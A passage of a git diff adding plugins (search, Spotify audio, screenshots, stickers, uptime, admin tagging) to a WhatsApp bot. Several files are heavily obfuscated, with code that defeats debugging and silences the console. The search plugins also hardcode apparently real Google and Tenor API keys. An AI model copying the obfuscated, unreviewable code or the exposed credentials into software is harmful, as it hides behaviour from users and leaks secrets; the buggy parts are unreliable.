6,-0x2fb,-0x2fa)+'o'][_0x351ff6(-0xc0,-0xf9,-0xa2,-0x94)+_0x484f68(-0x254,-0x259,-0x265,-0x285)+_0x351ff6(-0xb4,-0xd7,-0x78,-0xf3)]={},_0x4d17c9[_0x484f68(-0x2b4,-0x2a6,-0x2fb,-0x2fa)+'o'][_0x351ff6(-0xc0,-0xf9,-0xa2,-0x94)+_0x484f68(-0x254,-0x259,-0x265,-0x285)+_0x351ff6(-0xb4,-0xd7,-0x78,-0xf3)][_0x484f68(-0x28e,-0x26e,-0x24c,-0x282)+_0x484f68(-0x26c,-0x2f1,-0x2d9,-0x2a0)]=_0x5dda29['ftLTW'],_0x4d17c9[_0x484f68(-0x2b4,-0x2a6,-0x2fb,-0x2fa)+'o'][_0x351ff6(-0xc0,-0xf9,-0xa2,-0x94)+_0x484f68(-0x254,-0x259,-0x265,-0x285)+_0x351ff6(-0xb4,-0xd7,-0x78,-0xf3)][_0x351ff6(-0xae,-0xc0,-0x9f,-0x90)+'Name']=_0x351ff6(-0xe2,-0xb5,-0xb5,-0xc8)+_0x351ff6(-0x12f,-0xe2,-0x12b,-0x14e)+_0x351ff6(-0x137,-0x171,-0x146,-0xe9),_0x4d17c9[_0x484f68(-0x2b4,-0x2a6,-0x2fb,-0x2fa)+'o'][_0x351ff6(-0xc0,-0xf9,-0xa2,-0x94)+_0x484f68(-0x254,-0x259,-0x265,-0x285)+_0x351ff6(-0xb4,-0xd7,-0x78,-0xf3)]['serverMess'+_0x351ff6(-0xc9,-0x114,-0xf2,-0xe1)]=0x8f;const _0x506d87={};_0x506d87[_0x484f68(-0x278,-0x242,-0x254,-0x270)]=_0x559263,await _0x36ab61[_0x484f68(-0x2cf,-0x249,-0x2b7,-0x297)+'e'](_0x26e314,_0x4d17c9,_0x506d87);}catch(_0x504c0e){if(_0x5dda29[_0x351ff6(-0xd8,-0x127,-0x105,-0xee)](_0x5dda29['BHrOR'],'iQmnA')){const _0x4a1386=_0x2ff78e?function(){if(_0x3c100c){const _0x558960=_0x178f2f['apply'](_0x5e8139,arguments);return _0x2eec98=null,_0x558960;}}:function(){};return _0x253c52=![],_0x4a1386;}else console[_0x351ff6(-0xfc,-0x10c,-0x116,-0x14a)](_0x5dda29['btYat'],_0x504c0e),_0x5dda29[_0x351ff6(-0x10c,-0x115,-0x13c,-0xcf)](_0x38f929,_0x5dda29[_0x484f68(-0x2d8,-0x28e,-0x236,-0x28b)]);}}); diff --git a/plugins/search.js b/plugins/search.js new file mode 100644 index 0000000000000000000000000000000000000000..0917858361b9ed68585c20e2047cad4bc623125e --- /dev/null +++ b/plugins/search.js @@ -0,0 +1,42 @@ +const axios = require("axios"); +const { cmd } = require("../command"); + +cmd({ + pattern: "google", + alias: ["gsearch", "search"], + desc: "Search Google for a query.", + category: "tools", + react: "๐ŸŒ", + filename: __filename +}, async (conn, mek, m, { args, reply }) => { + try { + // Vรฉrifiez si un mot-clรฉ est fourni + if (args.length === 0) { + return reply(`โ— *Please provide a search query.*\n\n*Example:*\n.google OpenAI`); + } + + const query = args.join(" "); + const apiKey = "AIzaSyDMbI3nvmQUrfjoCJYLS69Lej1hSXQjnWI"; // Votre clรฉ API Google + const cx = "baf9bdb0c631236e5"; // Votre ID de moteur de recherche personnalisรฉ + const apiUrl = `https://www.googleapis.com/customsearch/v1?q=${encodeURIComponent(query)}&key=${apiKey}&cx=${cx}`; + + // Appel API + const response = await axios.get(apiUrl); + + // Vรฉrifiez si l'API a renvoyรฉ des rรฉsultats + if (response.status !== 200 || !response.data.items || response.data.items.length === 0) { + return reply(`โŒ *No results found for:* ${query}`); + } + + // Format et envoi des rรฉsultats + let results = `๐Ÿ”Ž *GOOGLE SEARCH RESULTS FOR:* "${query}"\n\n`; + response.data.items.slice(0, 5).forEach((item, index) => { + results += `*${index + 1}. ${item.title}*\n${item.link}\n${item.snippet}\n\n`; + }); + + reply(results.trim()); + } catch (error) { + console.error(error); + reply(`โš ๏ธ *An error occurred while fetching search results.*\n\n${error.message}`); + } +}); diff --git a/plugins/spotify.js b/plugins/spotify.js new file mode 100644 index 0000000000000000000000000000000000000000..8f6d4dd4f504b07d34ded746c27969c2b0bc5ebd --- /dev/null +++ b/plugins/spotify.js @@ -0,0 +1,4 @@ + + + +function _0x1ca5(){const _0x4feb8d=['content-type','headers','*_UPLOADING\x20AUDIO...\x20๐ŸŽง_*','1961360XJPwMH','yt-search','3972312FDJQus','Please\x20provide\x20a\x20title\x20or\x20link\x20(Spotify/YouTube)!','videos','Artist:\x20','mp3','sendMessage','audio/mpeg','33zNgBQH','media','Fetch\x20audio\x20from\x20Spotify\x20or\x20YouTube','message','41644eMuqit','12924264HZpLdi','246jEoAeq','6316668grelHb','btch-downloader','data','YouTube\x20Error:','axios','music','Spotify\x20Error:','https://spotifyapi.caliphdev.com/api/search/tracks?q=','GET','Fetched\x20from\x20YouTube','https://spotifyapi.caliphdev.com/api/download/track?url=','893157WsUvPD','Failed\x20to\x20fetch\x20audio\x20from\x20YouTube.','error','278159xoeNFg','artist','ytmusic','title'];_0x1ca5=function(){return _0x4feb8d;};return _0x1ca5();}const _0xc13123=_0x4826;function _0x4826(_0xaee751,_0xb84906){const _0x1ca5a3=_0x1ca5();return _0x4826=function(_0x482679,_0x38ebab){_0x482679=_0x482679-0xd4;let _0x7bae6d=_0x1ca5a3[_0x482679];return _0x7bae6d;},_0x4826(_0xaee751,_0xb84906);}(function(_0x151bf0,_0xe8cb4b){const _0x59f6eb=_0x4826,_0x7aac9f=_0x151bf0();while(!![]){try{const _0x5e5e90=-parseInt(_0x59f6eb(0xed))/0x1+-parseInt(_0x59f6eb(0xdf))/0x2*(-parseInt(_0x59f6eb(0xdb))/0x3)+parseInt(_0x59f6eb(0xe2))/0x4+parseInt(_0x59f6eb(0xf7))/0x5+parseInt(_0x59f6eb(0xe1))/0x6*(parseInt(_0x59f6eb(0xf0))/0x7)+-parseInt(_0x59f6eb(0xe0))/0x8+-parseInt(_0x59f6eb(0xd4))/0x9;if(_0x5e5e90===_0xe8cb4b)break;else _0x7aac9f['push'](_0x7aac9f['shift']());}catch(_0x21d356){_0x7aac9f['push'](_0x7aac9f['shift']());}}}(_0x1ca5,0xd6c18));const axios=require(_0xc13123(0xe6)),yts=require(_0xc13123(0xf8)),{youtube}=require(_0xc13123(0xe3)),{cmd}=require('../command');cmd({'pattern':'play3','alias':['spotify',_0xc13123(0xf2),_0xc13123(0xe7)],'react':'๐ŸŽต','desc':_0xc13123(0xdd),'category':_0xc13123(0xdc),'filename':__filename},async(_0x28b38b,_0x7a0b43,_0x2cc993,{from:_0x117db8,quoted:_0x1a3edf,body:_0x11a6dd,isCmd:_0xab2852,command:_0x4ee577,args:_0x4bbc49,q:_0x5a08da,isGroup:_0x40b1c2,sender:_0x4f74e3,senderNumber:_0x5563f7,botNumber:_0x2b4b0c,pushname:_0x46d9f2,reply:_0x2a017e})=>{const _0x35c244=_0xc13123;if(!_0x5a08da)return _0x2a017e(_0x35c244(0xd5));_0x2a017e(_0x35c244(0xf6));try{const _0x3e97c7=await axios['get'](_0x35c244(0xe9)+encodeURIComponent(_0x5a08da)),_0x28307c=_0x3e97c7[_0x35c244(0xe4)][0x0];if(_0x28307c){const _0x20495f=await axios({'url':_0x35c244(0xec)+encodeURIComponent(_0x28307c['url']),'method':_0x35c244(0xea),'responseType':'stream'});if(_0x20495f[_0x35c244(0xf5)][_0x35c244(0xf4)]===_0x35c244(0xda)){await _0x28b38b[_0x35c244(0xd9)](_0x117db8,{'audio':_0x20495f[_0x35c244(0xe4)],'mimetype':_0x35c244(0xda),'contextInfo':{'externalAdReply':{'title':_0x28307c[_0x35c244(0xf3)],'body':_0x35c244(0xd7)+_0x28307c[_0x35c244(0xf1)],'mediaType':0x1,'sourceUrl':_0x28307c['url'],'renderLargerThumbnail':!![]}}});return;}}}catch(_0x63e633){console[_0x35c244(0xef)](_0x35c244(0xe8),_0x63e633[_0x35c244(0xde)]);}try{const _0x2e946e=await yts(_0x5a08da),_0x385215=_0x2e946e[_0x35c244(0xd6)][0x0];if(_0x385215&&_0x385215['seconds']<0xe10){const _0x1a49ce=await youtube(_0x385215['url']);_0x1a49ce&&_0x1a49ce[_0x35c244(0xd8)]?await _0x28b38b[_0x35c244(0xd9)](_0x117db8,{'audio':{'url':_0x1a49ce['mp3']},'mimetype':_0x35c244(0xda),'contextInfo':{'externalAdReply':{'title':_0x385215[_0x35c244(0xf3)],'body':_0x35c244(0xeb),'mediaType':0x1,'sourceUrl':_0x385215['url'],'renderLargerThumbnail':!![]}}}):_0x2a017e(_0x35c244(0xee));}else _0x2a017e('No\x20suitable\x20YouTube\x20results\x20found.');}catch(_0x3edc88){console[_0x35c244(0xef)](_0x35c244(0xe5),_0x3edc88[_0x35c244(0xde)]);}}); diff --git a/plugins/ssweb-tool.js b/plugins/ssweb-tool.js new file mode 100644 index 0000000000000000000000000000000000000000..4319d68fd0f329952737c42782e492f9443675e8 --- /dev/null +++ b/plugins/ssweb-tool.js @@ -0,0 +1,53 @@ + + +const axios = require("axios"); +const config = require('../config'); +const { cmd } = require('../command'); + +cmd({ + pattern: "sss", + alias: ["ssweb"], + react: "๐Ÿ’ซ", + desc: "Download screenshot of a given link.", + category: "other", + use: ".ss ", + filename: __filename, +}, +async (conn, mek, m, { + from, l, quoted, body, isCmd, command, args, q, isGroup, sender, + senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, + groupMetadata, groupName, participants, isItzcp, groupAdmins, + isBotAdmins, isAdmins, reply +}) => { + if (!q) { + return reply("Please provide a URL to capture a screenshot."); + } + + try { + // created by jawad tech + const response = await axios.get(`https://api.davidcyriltech.my.id/ssweb?url=${q}`); + const screenshotUrl = response.data.screenshotUrl; + + // give credit and use + const imageMessage = { + image: { url: screenshotUrl }, + caption: "*WEB SS DOWNLOADER*\n\n> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*", + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: "โ˜‡ ๐€ษญฮนฬ‡ฮนฬ‡ ๐ŒฦŠ โƒช๐Ÿค–แชณแชณอŽ๐†ผ", + serverMessageId: 143, + }, + }, + }; + + await conn.sendMessage(from, imageMessage, { quoted: m }); + } catch (error) { + console.error(error); + reply("Failed to capture the screenshot. Please try again."); + } +}); + diff --git a/plugins/sticker-maker.js b/plugins/sticker-maker.js new file mode 100644 index 0000000000000000000000000000000000000000..34158c7150bfcd1ddd5062ba7a66fd8945b1b70c --- /dev/null +++ b/plugins/sticker-maker.js @@ -0,0 +1,81 @@ +const { cmd } = require('../command'); +const crypto = require('crypto'); +const webp = require('node-webpmux'); +const axios = require('axios'); +const fs = require('fs-extra'); +const { exec } = require('child_process'); +const { Sticker, createSticker, StickerTypes } = require("wa-sticker-formatter"); +const Config = require('../config'); + +// Take Sticker + +cmd( + { + pattern: 'take', + alias: ['rename', 'stake'], + react: "๐Ÿ", + desc: 'Create a sticker with a custom pack name.', + category: 'sticker', + use: '', + filename: __filename, + }, + async (conn, mek, m, { quoted, args, q, reply, from }) => { + if (!mek.quoted) return reply(`*Reply to any sticker.*`); + if (!q) return reply(`*Please provide a pack name using .take *`); + + let mime = mek.quoted.mtype; + let pack = q; + + if (mime === "imageMessage" || mime === "stickerMessage") { + let media = await mek.quoted.download(); + let sticker = new Sticker(media, { + pack: pack, + type: StickerTypes.FULL, + categories: ["๐Ÿคฉ", "๐ŸŽ‰"], + id: "12345", + quality: 75, + background: 'transparent', + }); + const buffer = await sticker.toBuffer(); + return conn.sendMessage(mek.chat, { sticker: buffer }, { quoted: mek }); + } else { + return reply("*Uhh, Please reply to an sticker.*"); + } + } +); + +//Sticker create + +cmd( + { + pattern: 'sticker', + alias: ['s', 'stickergif'], + react: "๐Ÿ”ฎ", + desc: 'Create a sticker from an image, video, or URL.', + category: 'sticker', + use: '', + filename: __filename, + }, + async (conn, mek, m, { quoted, args, q, reply, from }) => { + if (!mek.quoted) return reply(`*ส€แด‡แด˜สŸส แด›แด แด€ แด˜สœแดแด›แด, แด ษชแด…แด‡แด า“แดส€ .แด s*`); + let mime = mek.quoted.mtype; + let pack = Config.STICKER_NAME || "๐“†ฉแ€ฏแชณ๐€๐‹๐ˆ-๐Œ๐ƒแ€พแชณ๐“†ช"; + + if (mime === "imageMessage" || mime === "stickerMessage") { + let media = await mek.quoted.download(); + let sticker = new Sticker(media, { + pack: pack, + type: StickerTypes.FULL, + categories: ["๐Ÿคฉ", "๐ŸŽ‰"], + id: "12345", + quality: 75, + background: 'transparent', + }); + const buffer = await sticker.toBuffer(); + return conn.sendMessage(mek.chat, { sticker: buffer }, { quoted: mek }); + } else { + return reply("*ส€แด‡แด˜สŸส แด›แด แด€ แด˜สœแดแด›แด, แด ษชแด…แด‡แด า“แดส€ .แด s*"); + } + } +); + diff --git a/plugins/stickersearch.js b/plugins/stickersearch.js new file mode 100644 index 0000000000000000000000000000000000000000..dc466e3797ec2b027d39977cdf175c801f256086 --- /dev/null +++ b/plugins/stickersearch.js @@ -0,0 +1,71 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + +const axios = require("axios"); +const { cmd } = require("../command"); + +cmd({ + pattern: "stickersearch", + alias: ["stsearch", "sticksearch"], + desc: "Search and fetch stickers based on a keyword.", + category: "fun", + react: "๐Ÿ”", + filename: __filename +}, async (conn, mek, m, { args, reply }) => { + try { + // Vรฉrifiez si un mot-clรฉ est fourni + if (args.length === 0) { + return reply(`โ— *Please provide a search term.*\n\nExample:\n.stickersearch funny`); + } + + const query = args.join(" "); + const tenorApiKey = "AIzaSyCyouca1_KKy4W_MG1xsPzuku5oa8W358c"; // Remplacez par votre clรฉ API + const apiUrl = `https://tenor.googleapis.com/v2/search?q=${text}&key=${tenorApiKey}&client_key=my_project&limit=8&media_filter=gif`; + + // Appel API + const response = await axios.get(apiUrl); + + // Vรฉrifiez si l'API a renvoyรฉ des rรฉsultats + if (response.status !== 200 || !response.data.results || response.data.results.length === 0) { + return reply(`โŒ *No stickers found for:* ${query}`); + } + + // Envoyez les rรฉsultats sous forme de stickers + for (const result of response.data.results) { + const mediaUrl = result.media_formats.gif.url; + + await conn.sendMessage(m.chat, { + sticker: { url: mediaUrl }, + caption: `๐ŸŽจ *Sticker found for:* "${query}"` + }, { quoted: mek }); + } + + } catch (error) { + console.error(error); + reply(`โš ๏ธ *An error occurred while fetching stickers.*\n\n${error.message}`); + } +}); diff --git a/plugins/system.js b/plugins/system.js new file mode 100644 index 0000000000000000000000000000000000000000..2cd21506fbd33733340f38402f0d71a0fe82bba6 --- /dev/null +++ b/plugins/system.js @@ -0,0 +1,39 @@ + + + + + + +const config = require('../config') +const {cmd , commands} = require('../command') +const os = require("os") +const {runtime} = require('../lib/functions') +cmd({ + pattern: "system", + react: "โ™ ๏ธ", + alias: ["uptime" ,"runtime"], + desc: "cheack uptime", + category: "main", + filename: __filename +}, +async(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => { +try{ +let status = `*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ* +*ALI_MD-V4 UPTIME LISTโ†ท* + +*_UPTIME:โž _* ${runtime(process.uptime())} + +*_RAM USAGE:โž _* ${(process.memoryUsage().heapUsed / 1024 / 1024).toFixed(2)}MB / ${Math.round(require('os').totalmem / 1024 / 1024)}MB + +*_HOSTNAME:โž _* ${os.hostname()} + +*_OWNER:โž _* *๐“†ฉแ€ฏแชณ๐€๐‹๐ˆ ๐ˆ๐๐…ฆ๐’iอกอœ๐ƒ๐„แ€พแชณ๐“†ช* +*โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ* +` +await conn.sendMessage(from,{image:{url:config.ALIVE_IMG},caption:`${status}`},{quoted:mek}) + +}catch(e){ +console.log(e) +reply(`${e}`) +} +}) diff --git a/plugins/tadmin.js b/plugins/tadmin.js new file mode 100644 index 0000000000000000000000000000000000000000..6eb33e4899eb9bcda69fe38447a8eafd2a3bb1c7 --- /dev/null +++ b/plugins/tadmin.js @@ -0,0 +1 @@ +(function(_0x660be7,_0x1a7b5a){function _0x53c2ba(_0x2f1746,_0x25c455,_0x5c288b,_0x572d03){return _0x373a(_0x2f1746-0x322,_0x25c455);}function _0x578c2c(_0x50b6c0,_0x534ad6,_0x42ac06,_0x3c9afe){return _0x373a(_0x50b6c0- -0x2f,_0x3c9afe);}const _0x29a106=_0x660be7();while(!![]){try{const _0x1c77bf=-parseInt(_0x578c2c(0x1ae,0x1c0,0x185,0x17f))/(-0x2bf+-0xaee+-0x22*-0x67)*(-parseInt(_0x53c2ba(0x4c5,0x493,0x4d5,0x4ee))/(-0x2f9+-0x1e79+-0x2174*-0x1))+-parseInt(_0x578c2c(0x170,0x1a9,0x170,0x174))/(0x1*-0x11ea+-0xfc6*0x2+0x3179)*(parseInt(_0x578c2c(0x15e,0x167,0x18c,0x163))/(-0x22a7+0x1*0x2ae+0x1ffd))+-parseInt(_0x53c2ba(0x4a2,0x47c,0x4d9,0x4cc))/(0x1b01*0x1+-0x1bd1+0xd5)*(parseInt(_0x53c2ba(0x4aa,0x48f,0x4ce,0x4b1))/(-0x6bd+-0x1775+0x1e38))+-parseInt(_0x578c2c(0x14f,0x143,0x175,0x186))/(-0x101b*-0x1+-0x392+-0xc82)*(-parseInt(_0x53c2ba(0x4bb,0x4e3,0x4db,0x499))/(0x5*0x4f7+-0x1*0x1c6b+-0xe8*-0x4))+parseInt(_0x53c2ba(0x4d5,0x4f9,0x4ee,0x4ab))/(0x137d+0x17*0x11+0x83*-0x29)*(parseInt(_0x53c2ba(0x4a7,0x4c5,0x4c4,0x4a4))/(0x19f4+-0x8c3*-0x3+-0x3433))+-parseInt(_0x53c2ba(0x4f2,0x4f8,0x527,0x51f))/(0xe93+0x13a8+0x2*-0x1118)+parseInt(_0x578c2c(0x1b0,0x1c7,0x1dd,0x1af))/(-0xe*0x285+-0x1268+-0x211*-0x1a);if(_0x1c77bf===_0x1a7b5a)break;else _0x29a106['push'](_0x29a106['shift']());}catch(_0x3ef5ab){_0x29a106['push'](_0x29a106['shift']());}}}(_0x3072,-0x85ea0+-0x15b09+0xea02b));function _0x373a(_0x38d289,_0x4342c5){const _0x307286=_0x3072();return _0x373a=function(_0x373a91,_0x575909){_0x373a91=_0x373a91-(-0x66*-0x51+0xef7+0x125*-0x28);let _0x2559b8=_0x307286[_0x373a91];return _0x2559b8;},_0x373a(_0x38d289,_0x4342c5);}const _0x4342c5=(function(){const _0x2ff58f={};_0x2ff58f['HOpVw']=function(_0x99d310,_0x194845){return _0x99d310===_0x194845;},_0x2ff58f[_0x360a3e(0x1e5,0x1b1,0x1c8,0x1da)]='jphug';function _0x360a3e(_0x57f9f0,_0xbceeef,_0x520cec,_0x1ae319){return _0x373a(_0x57f9f0-0x6a,_0xbceeef);}const _0x5ccd1a=_0x2ff58f;let _0x46dc19=!![];return function(_0x3696b2,_0x5905e9){const _0x227114=_0x46dc19?function(){function _0x33813d(_0x1a05c7,_0x2f3801,_0x220fe5,_0x562e4b){return _0x373a(_0x220fe5-0x375,_0x2f3801);}function _0x4e02f5(_0x3c28fb,_0x2ff41f,_0x38b4bf,_0x410c52){return _0x373a(_0x410c52- -0x87,_0x38b4bf);}if(_0x5905e9){if(_0x5ccd1a[_0x4e02f5(0x16c,0x137,0x127,0x155)](_0x5ccd1a[_0x33813d(0x510,0x4eb,0x4f0,0x521)],_0x5ccd1a['MpQqg'])){const _0x1073eb=_0x5905e9[_0x33813d(0x54b,0x552,0x54f,0x539)](_0x3696b2,arguments);return _0x5905e9=null,_0x1073eb;}else{if(_0x5624ff){const _0x4d9cae=_0x1b4b8c[_0x4e02f5(0x16f,0x164,0x188,0x153)](_0x15062a,arguments);return _0x221338=null,_0x4d9cae;}}}}:function(){};return _0x46dc19=![],_0x227114;};}()),_0x38d289=_0x4342c5(this,function(){const _0x1e9888={};_0x1e9888[_0x1d3846(0xec,0xe5,0x117,0x10c)]='(((.+)+)+)'+'+$';function _0x21aad8(_0x1a6500,_0x92a634,_0x40f40d,_0x3da04d){return _0x373a(_0x92a634- -0x36c,_0x3da04d);}const _0x434a1c=_0x1e9888;function _0x1d3846(_0x266cb6,_0x58c15d,_0x4eb3c2,_0xe8cead){return _0x373a(_0xe8cead- -0xcb,_0x266cb6);}return _0x38d289['toString']()['search'](_0x1d3846(0xc9,0x111,0xbc,0xdf)+'+$')[_0x21aad8(-0x1a3,-0x198,-0x173,-0x1a5)]()[_0x21aad8(-0x1cd,-0x1ea,-0x1e9,-0x1cd)+'r'](_0x38d289)[_0x1d3846(0xe3,0x10b,0xf0,0x115)](_0x434a1c[_0x21aad8(-0x190,-0x195,-0x1c1,-0x185)]);});_0x38d289();function _0x3072(){const _0x44723f=['KGORp','FYota','react','apply','RwLBt','HOpVw','519SJkEPc','ata','8544732dLOyLy','search','QtHzl','srufc','../config','JNovj','GE\x20:\x20','tagadmin','nly\x20be\x20use','ATTENTION\x20','๐Ÿณ๏ธโ€๐ŸŒˆ','ใ€Œ\x20ADMINS\x20M','text','../lib/fun','MpQqg','warn','qraUl','21fKindo','table','1327405kNPwAH','hgJIa','constructo','\x20[message]','trim','53870hZzazv','okzIt','catch','6GsEufu','nction()\x20','split','โŒ\x20*Error\x20O','use','4YznCSq','\x20แฉง๐†ผเพ€เฝฒ*\x20@','dJdrb','ENTION\x20ใ€โ*','*\x0a\x0aโ€Ž*โ•ญโ”€โ”€โ”€โ','โŒ\x20No\x20admin','mand\x20can\x20o','gywow','onOsN','admin','YymPq','.tagadmins','562984mkKjuS','exception','fmKzm','Unknown\x20Gr','To\x20Tag\x20all','prototype','1766109rSBfsB','Error:','sendMessag','message','806sWlYqd','UjPlD','error','eQerf','{}.constru','../command','length','(((.+)+)+)','d\x20in\x20group','__proto__','kDZFH','oup','\x20this\x20grou','ADMINS','kefhD','groupMetad','405vfbiPd','random','\x20Admins\x20of','PJzLc','rNVIL','๐ŸŽ–๏ธ','category','*\x0a\x0a','OSlLc','o\x20fetch\x20gr','user','PUEHr','*\x0a*โ–ข\x20ADMIN','trace','*\x0a*โ–ข\x20MESSA','p.net','bind','console','TagAdmins\x20','YRBvP','info','โŒ\x20Failed\x20t','filename','rNFtq','โŒ\x20This\x20com','bQPHf','OWvjE','slice','return\x20(fu','2193554flISyW','vjESH','ctor(\x22retu','quoted','toString','fiBvM','tagadmins'];_0x3072=function(){return _0x44723f;};return _0x3072();}const _0xd87792=(function(){let _0x2c34b5=!![];return function(_0x459e6d,_0x58f4c2){const _0xb0f15c=_0x2c34b5?function(){function _0x47e8d1(_0x1cb6d3,_0x3f9947,_0x5d91e8,_0x4b6530){return _0x373a(_0x4b6530- -0x1ca,_0x3f9947);}if(_0x58f4c2){const _0x4c24fa=_0x58f4c2[_0x47e8d1(0x18,0x49,0x44,0x10)](_0x459e6d,arguments);return _0x58f4c2=null,_0x4c24fa;}}:function(){};return _0x2c34b5=![],_0xb0f15c;};}());function _0x3acaf0(_0x5e0d2f,_0x507c04,_0x33bee6,_0x7b3346){return _0x373a(_0x507c04-0x23,_0x7b3346);}const _0x1651de=_0xd87792(this,function(){const _0x3d10e9={'dotla':function(_0x1dfbac,_0x43f4e4){return _0x1dfbac===_0x43f4e4;},'DkIFO':function(_0x3ea761,_0x373add){return _0x3ea761(_0x373add);},'okzIt':function(_0x15733a,_0x4cc37a){return _0x15733a+_0x4cc37a;},'dJdrb':function(_0x147f5c,_0x3f7e1e){return _0x147f5c+_0x3f7e1e;},'vjESH':_0x14ff9a(0x19a,0x19d,0x153,0x17a)+_0x14ff9a(0x15e,0x154,0x12f,0x134),'YRBvP':_0x23a4d(-0x1a0,-0x17d,-0x1b4,-0x194)+_0x23a4d(-0x184,-0x154,-0x189,-0x18a)+'rn\x20this\x22)('+'\x20)','aLwWP':function(_0x2ce9b4){return _0x2ce9b4();},'SmOPH':'log','hgJIa':_0x14ff9a(0xf5,0x160,0x159,0x127),'gywow':_0x23a4d(-0x19c,-0x1c7,-0x1c1,-0x1c8),'PUEHr':function(_0x1d850d,_0x3c3951){return _0x1d850d<_0x3c3951;},'eQerf':function(_0x5db4bb,_0x369ba1){return _0x5db4bb===_0x369ba1;},'rNVIL':'zSHDn'},_0x2a9513=function(){const _0x4b09b1={};_0x4b09b1['fmKzm']='(((.+)+)+)'+'+$';function _0x1a3fa0(_0x1dc7ff,_0x4e9aba,_0x11c453,_0x336f48){return _0x14ff9a(_0x1dc7ff-0x1a9,_0x4e9aba-0x67,_0x1dc7ff,_0x11c453-0x224);}const _0x15a56e=_0x4b09b1;let _0x2738ec;function _0x42bd37(_0x1e053b,_0x5ba2b6,_0x5a731a,_0x1caaf0){return _0x14ff9a(_0x1e053b-0x169,_0x5ba2b6-0x133,_0x1caaf0,_0x5ba2b6-0x39d);}try{if(_0x3d10e9['dotla']('rNFtq',_0x1a3fa0(0x3cd,0x3c6,0x399,0x3b2)))_0x2738ec=_0x3d10e9['DkIFO'](Function,_0x3d10e9[_0x1a3fa0(0x356,0x35b,0x355,0x34e)](_0x3d10e9[_0x1a3fa0(0x392,0x373,0x35e,0x37d)](_0x3d10e9[_0x1a3fa0(0x38c,0x3b8,0x3a0,0x36c)],_0x3d10e9[_0x42bd37(0x4e9,0x50e,0x52b,0x503)]),');'))();else return _0x146da8[_0x1a3fa0(0x3da,0x374,0x3a3,0x3d2)]()['search'](_0x15a56e[_0x1a3fa0(0x3a2,0x377,0x36a,0x390)])[_0x42bd37(0x503,0x51c,0x53b,0x4e6)]()[_0x42bd37(0x4dc,0x4ca,0x4c2,0x4c0)+'r'](_0x11a2ab)[_0x1a3fa0(0x3e4,0x382,0x3af,0x38e)](_0x15a56e['fmKzm']);}catch(_0x1f3996){_0x2738ec=window;}return _0x2738ec;},_0x51e44d=_0x3d10e9['aLwWP'](_0x2a9513);function _0x14ff9a(_0x21c7b7,_0x167dc8,_0x21ff13,_0x20bafd){return _0x373a(_0x20bafd- -0x55,_0x21ff13);}const _0x56eeaf=_0x51e44d[_0x23a4d(-0x183,-0x191,-0x197,-0x197)]=_0x51e44d[_0x23a4d(-0x1bb,-0x1ce,-0x197,-0x19f)]||{},_0xcaea95=[_0x3d10e9['SmOPH'],_0x3d10e9[_0x23a4d(-0x1c8,-0x1a6,-0x1da,-0x1aa)],_0x23a4d(-0x165,-0x1a3,-0x194,-0x181),_0x14ff9a(0x132,0x138,0x17a,0x150),_0x3d10e9[_0x14ff9a(0x11f,0x10f,0x12b,0x13f)],_0x14ff9a(0x13f,0x13e,0xf9,0x12a),_0x14ff9a(0x192,0x139,0x160,0x16b)];function _0x23a4d(_0x2d0c75,_0x1682ab,_0x1ebd3e,_0x48e37b){return _0x373a(_0x1ebd3e- -0x35b,_0x2d0c75);}for(let _0x1dbd9e=0x213*0x3+0x18c6+0x633*-0x5;_0x3d10e9[_0x23a4d(-0x19b,-0x192,-0x19d,-0x17f)](_0x1dbd9e,_0xcaea95['length']);_0x1dbd9e++){if(_0x3d10e9[_0x14ff9a(0x156,0x12c,0x13b,0x151)](_0x3d10e9[_0x14ff9a(0x18c,0x156,0x186,0x162)],_0x3d10e9[_0x14ff9a(0x19a,0x15d,0x138,0x162)])){const _0x371837=_0xd87792[_0x23a4d(-0x1d7,-0x1bd,-0x1d9,-0x1e2)+'r'][_0x23a4d(-0x1bb,-0x1c5,-0x1bd,-0x1a9)][_0x14ff9a(0x197,0x166,0x179,0x16e)](_0xd87792),_0x2f70f5=_0xcaea95[_0x1dbd9e],_0x5a288d=_0x56eeaf[_0x2f70f5]||_0x371837;_0x371837[_0x14ff9a(0x131,0x157,0x14d,0x157)]=_0xd87792['bind'](_0xd87792),_0x371837[_0x14ff9a(0x168,0x196,0x1b6,0x17f)]=_0x5a288d['toString']['bind'](_0x5a288d),_0x56eeaf[_0x2f70f5]=_0x371837;}else{if(_0x5497b6){const _0x1d3cfd=_0x37ea37[_0x23a4d(-0x1b8,-0x1b5,-0x181,-0x1ad)](_0x36f0ca,arguments);return _0x10713c=null,_0x1d3cfd;}}}});function _0x27a399(_0x474d56,_0xb5d4bf,_0x2bdacb,_0x343ca8){return _0x373a(_0x474d56-0x227,_0xb5d4bf);}_0x1651de();const config=require(_0x3acaf0(0x235,0x206,0x1da,0x1dd)),{cmd,commands}=require(_0x27a399(0x3cf,0x3e3,0x3ee,0x3c5)),{getBuffer,getGroupAdmins,getRandom,h2k,isUrl,Json,runtime,sleep,fetchJson}=require(_0x3acaf0(0x198,0x19d,0x1b0,0x16d)+'ctions'),_0x398760={};_0x398760['pattern']=_0x3acaf0(0x1f4,0x1f9,0x21d,0x1d8),_0x398760[_0x3acaf0(0x1f1,0x1fc,0x1e3,0x22e)]='๐Ÿ‘‘',_0x398760['alias']=[_0x3acaf0(0x198,0x1b9,0x1ae,0x1f1),_0x27a399(0x3bd,0x3b5,0x3c7,0x3ce),_0x27a399(0x40d,0x3e8,0x420,0x3e3)],_0x398760['desc']=_0x3acaf0(0x18d,0x1c0,0x1b5,0x1cd)+_0x27a399(0x3dc,0x3a9,0x3f4,0x3d9)+'\x20the\x20Group',_0x398760[_0x27a399(0x3e0,0x3fc,0x3f8,0x418)]='group',_0x398760[_0x3acaf0(0x180,0x1af,0x17d,0x1e0)]=_0x3acaf0(0x1e6,0x1bb,0x1c7,0x18c)+_0x3acaf0(0x17b,0x1a6,0x18d,0x19e),_0x398760